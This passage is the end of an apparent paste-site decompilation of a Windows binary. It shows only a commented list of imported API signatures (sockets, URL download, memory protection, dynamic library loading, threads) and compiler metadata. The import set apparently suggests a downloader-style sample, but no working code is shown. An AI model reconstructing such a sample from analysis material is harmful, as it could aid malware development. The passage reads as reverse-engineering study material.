  6434. // HANDLE CreateMutexA(_In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes, _In_ BOOL bInitialOwner, _In_opt_ LPCSTR lpName);
  6435. // HANDLE CreateThread(_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId);
  6436. // VOID DeleteCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
  6437. // VOID EnterCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
  6438. // void free(void * ptr);
  6439. // BOOL FreeLibrary(_In_ HMODULE hLibModule);
  6440. // struct hostent * gethostbyname(_In_z_ const char * name);
  6441. // DWORD GetLastError(VOID);
  6442. // FARPROC GetProcAddress(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
  6443. // HANDLE GetProcessHeap(VOID);
  6444. // DWORD GetTickCount(VOID);
  6445. // LPVOID HeapAlloc(_In_ HANDLE hHeap, _In_ DWORD dwFlags, _In_ SIZE_T dwBytes);
  6446. // BOOL HeapFree(_Inout_ HANDLE hHeap, _In_ DWORD dwFlags, LPVOID lpMem);
  6447. // u_short htons(_In_ u_short hostshort);
  6448. // unsigned long inet_addr(_In_z_ const char * cp);
  6449. // char * inet_ntoa(_In_ struct in_addr in);
  6450. // VOID InitializeCriticalSection(_Out_ LPCRITICAL_SECTION lpCriticalSection);
  6451. // BOOL InternetCloseHandle(_In_ HINTERNET hInternet);
  6452. // HINTERNET InternetOpenA(_In_ LPCSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCSTR lpszProxyName, _In_ LPCSTR lpszProxyBypass, _In_ DWORD dwFlags);
  6453. // HINTERNET InternetOpenUrlA(_In_ HINTERNET hInternet, _In_ LPCSTR lpszUrl, _In_ LPCSTR lpszHeaders, _In_ DWORD dwHeadersLength, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
  6454. // BOOL InternetReadFile(_In_ HINTERNET hFile, LPVOID lpBuffer, _In_ DWORD dwNumberOfBytesToRead, _Out_ LPDWORD lpdwNumberOfBytesRead);
  6455. // BOOL IsBadReadPtr(_In_opt_ const VOID * lp, _In_ UINT_PTR ucb);
  6456. // VOID LeaveCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
  6457. // HMODULE LoadLibraryA(_In_ LPCSTR lpLibFileName);
  6458. // void * memcpy(void * restrict dest, const void * restrict src, size_t n);
  6459. // void * memset(void * s, int c, size_t n);
  6460. // int MultiByteToWideChar(_In_ UINT CodePage, _In_ DWORD dwFlags, LPCCH lpMultiByteStr, _In_ int cbMultiByte, LPWSTR lpWideCharStr, _In_ int cchWideChar);
  6461. // BOOL QueryPerformanceCounter(_Out_ LARGE_INTEGER * lpPerformanceCount);
  6462. // int rand(void);
  6463. // void * realloc(void * ptr, size_t size);
  6464. // int recv(_In_ SOCKET s, char * buf, _In_ int len, _In_ int flags);
  6465. // int send(_In_ SOCKET s, const char * buf, _In_ int len, _In_ int flags);
  6466. // int setsockopt(_In_ SOCKET s, _In_ int level, _In_ int optname, const char * optval, _In_ int optlen);
  6467. // VOID Sleep(_In_ DWORD dwMilliseconds);
  6468. // SOCKET socket(_In_ int af, _In_ int type, _In_ int protocol);
  6469. // int sprintf(char * restrict s, const char * restrict format, ...);
  6470. // void srand(unsigned int seed);
  6471. // char * strcat(char * restrict dest, const char * restrict src);
  6472. // int strcmp(const char * s1, const char * s2);
  6473. // char * strcpy(char * restrict dest, const char * restrict src);
  6474. // size_t strlen(const char * s);
  6475. // char * strncat(char * restrict dest, const char * restrict src, size_t n);
  6476. // char * strncpy(char * restrict dest, const char * restrict src, size_t n);
  6477. // BOOL TerminateThread(_In_ HANDLE hThread, _In_ DWORD dwExitCode);
  6478. // time_t time(time_t * timer);
  6479. // LPVOID VirtualAlloc(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
  6480. // BOOL VirtualFree(LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType);
  6481. // BOOL VirtualProtect(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
  6482. // DWORD WaitForSingleObject(_In_ HANDLE hHandle, _In_ DWORD dwMilliseconds);
  6483. // size_t wcslen(const wchar_t * s);
  6484. // int WideCharToMultiByte(_In_ UINT CodePage, _In_ DWORD dwFlags, LPCWCH lpWideCharStr, _In_ int cchWideChar, LPSTR lpMultiByteStr, _In_ int cbMultiByte, _In_opt_ LPCCH lpDefaultChar, _Out_opt_ LPBOOL lpUsedDefaultChar);
  6485. // int WSACleanup(void);
  6486. // int WSAGetLastError(void);
  6487. // int WSAStartup(_In_ WORD wVersionRequested, _Out_ LPWSADATA lpWSAData);
  6488.  
  6489. // --------------------- Meta-Information ---------------------
  6490.  
  6491. // Detected compiler/packer: microsoft linker (6.0)
  6492. // Detected language: Visual C++
  6493. // Detected functions: 141
  6494. // Decompilation date: 2017-12-14 09:26:43
Advertisement
Add Comment
Please, Sign In to add comment